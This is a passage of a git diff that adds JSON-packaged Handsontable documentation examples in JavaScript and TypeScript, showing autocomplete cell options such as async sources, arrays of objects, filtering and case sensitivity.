TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source(_query, process) {\n fetch('/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example4.js.json new file mode 100644 index 00000000..0d79e583 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · Array of values · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst shipmentKVData = [\n ['Electronics and Gadgets', 'Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', \"Chicago O'Hare International Airport\"],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol'],\n];\n\nconst airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n \"Chicago O'Hare International Airport\",\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'autocomplete',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example4.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example4","exampleTitle":"Array of values","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json new file mode 100644 index 00000000..d44b3991 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · Array of values · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nconst shipmentKVData = [\n ['Electronics and Gadgets', 'Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', \"Chicago O'Hare International Airport\"],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol'],\n];\n\nconst airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n \"Chicago O'Hare International Airport\",\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'autocomplete',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example4.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example4","exampleTitle":"Array of values","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example5.js.json new file mode 100644 index 00000000..2c6677a8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · Array of objects · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5');\nconst shipmentKVData = [\n ['Electronics and Gadgets', { key: 'LAX', value: 'Los Angeles International Airport' }],\n ['Medical Supplies', { key: 'JFK', value: 'John F. Kennedy International Airport' }],\n ['Auto Parts', { key: 'ORD', value: \"Chicago O'Hare International Airport\" }],\n ['Fresh Produce', { key: 'LHR', value: 'London Heathrow Airport' }],\n ['Textiles', { key: 'CDG', value: 'Charles de Gaulle Airport' }],\n ['Industrial Equipment', { key: 'DXB', value: 'Dubai International Airport' }],\n ['Pharmaceuticals', { key: 'HND', value: 'Tokyo Haneda Airport' }],\n ['Consumer Goods', { key: 'PEK', value: 'Beijing Capital International Airport' }],\n ['Machine Parts', { key: 'SIN', value: 'Singapore Changi Airport' }],\n ['Food Products', { key: 'AMS', value: 'Amsterdam Airport Schiphol' }],\n];\n\nconst airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: \"Chicago O'Hare International Airport\" },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' },\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'autocomplete',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example5.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example5","exampleTitle":"Array of objects","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json new file mode 100644 index 00000000..71b73a1d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · Array of objects · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\nconst shipmentKVData = [\n ['Electronics and Gadgets', { key: 'LAX', value: 'Los Angeles International Airport' }],\n ['Medical Supplies', { key: 'JFK', value: 'John F. Kennedy International Airport' }],\n ['Auto Parts', { key: 'ORD', value: \"Chicago O'Hare International Airport\" }],\n ['Fresh Produce', { key: 'LHR', value: 'London Heathrow Airport' }],\n ['Textiles', { key: 'CDG', value: 'Charles de Gaulle Airport' }],\n ['Industrial Equipment', { key: 'DXB', value: 'Dubai International Airport' }],\n ['Pharmaceuticals', { key: 'HND', value: 'Tokyo Haneda Airport' }],\n ['Consumer Goods', { key: 'PEK', value: 'Beijing Capital International Airport' }],\n ['Machine Parts', { key: 'SIN', value: 'Singapore Changi Airport' }],\n ['Food Products', { key: 'AMS', value: 'Amsterdam Airport Schiphol' }],\n];\n\nconst airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: \"Chicago O'Hare International Airport\" },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' },\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'autocomplete',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example5.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example5","exampleTitle":"Array of objects","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example6.js.json new file mode 100644 index 00000000..9d546230 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example6.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · The filter option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst fruits = [\n 'Apple',\n 'Apricot',\n 'Avocado',\n 'Banana',\n 'Blueberry',\n 'Cherry',\n 'Grape',\n 'Lemon',\n 'Lime',\n 'Mango',\n 'Orange',\n 'Peach',\n 'Pear',\n 'Pineapple',\n 'Plum',\n 'Raspberry',\n 'Strawberry',\n 'Watermelon',\n];\n\nconst container = document.querySelector('#example6');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Apple', 'Apple'],\n ['Banana', 'Banana'],\n ['Cherry', 'Cherry'],\n ['Mango', 'Mango'],\n ['Orange', 'Orange'],\n ],\n colHeaders: ['Filter: true (default)', 'Filter: false'],\n columns: [\n {\n type: 'autocomplete',\n source: fruits,\n strict: false,\n // filter: true is the default — only matching options are shown\n },\n {\n type: 'autocomplete',\n source: fruits,\n strict: false,\n // don't hide options that don't match the search query\n filter: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example6.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example6","exampleTitle":"The filter option","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json new file mode 100644 index 00000000..f2cccd03 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example6.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · The filter option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst fruits: string[] = [\n 'Apple',\n 'Apricot',\n 'Avocado',\n 'Banana',\n 'Blueberry',\n 'Cherry',\n 'Grape',\n 'Lemon',\n 'Lime',\n 'Mango',\n 'Orange',\n 'Peach',\n 'Pear',\n 'Pineapple',\n 'Plum',\n 'Raspberry',\n 'Strawberry',\n 'Watermelon',\n];\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Apple', 'Apple'],\n ['Banana', 'Banana'],\n ['Cherry', 'Cherry'],\n ['Mango', 'Mango'],\n ['Orange', 'Orange'],\n ],\n colHeaders: ['Filter: true (default)', 'Filter: false'],\n columns: [\n {\n type: 'autocomplete',\n source: fruits,\n strict: false,\n // filter: true is the default — only matching options are shown\n },\n {\n type: 'autocomplete',\n source: fruits,\n strict: false,\n // don't hide options that don't match the search query\n filter: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example6.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example6","exampleTitle":"The filter option","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example7.js.json new file mode 100644 index 00000000..6c323c84 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example7.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · The filteringCaseSensitive option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors = [\n 'Black',\n 'Blue',\n 'brown',\n 'cyan',\n 'Gray',\n 'green',\n 'Lime',\n 'Magenta',\n 'Navy',\n 'olive',\n 'orange',\n 'Pink',\n 'Purple',\n 'Red',\n 'silver',\n 'Teal',\n 'White',\n 'Yellow',\n];\n\nconst container = document.querySelector('#example7');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Black', 'Black'],\n ['Blue', 'Blue'],\n ['Gray', 'Gray'],\n ['Red', 'Red'],\n ['White', 'White'],\n ],\n colHeaders: ['Case-insensitive (default)', 'Case-sensitive'],\n columns: [\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n // filteringCaseSensitive: false is the default — typing \"bl\" matches \"Black\" and \"blue\"\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n // match case while searching autocomplete options\n filteringCaseSensitive: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example7.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example7","exampleTitle":"The filteringCaseSensitive option","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json new file mode 100644 index 00000000..689136a0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example7.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · The filteringCaseSensitive option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors: string[] = [\n 'Black',\n 'Blue',\n 'brown',\n 'cyan',\n 'Gray',\n 'green',\n 'Lime',\n 'Magenta',\n 'Navy',\n 'olive',\n 'orange',\n 'Pink',\n 'Purple',\n 'Red',\n 'silver',\n 'Teal',\n 'White',\n 'Yellow',\n];\n\nconst container = document.querySelector('#example7')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Black', 'Black'],\n ['Blue', 'Blue'],\n ['Gray', 'Gray'],\n ['Red', 'Red'],\n ['White', 'White'],\n ],\n colHeaders: ['Case-insensitive (default)', 'Case-sensitive'],\n columns: [\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n // filteringCaseSensitive: false is the default — typing \"bl\" matches \"Black\" and \"blue\"\n },\n {\n type: 'autocomplete',\n source: colors,\n strict: false,\n // match case while searching autocomplete options\n filteringCaseSensitive: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example7.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example7","exampleTitle":"The filteringCaseSensitive option","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example8.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example8.js.json new file mode 100644 index 00000000..24d19c5b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__javascript__example8.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · The sortByRelevance option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite 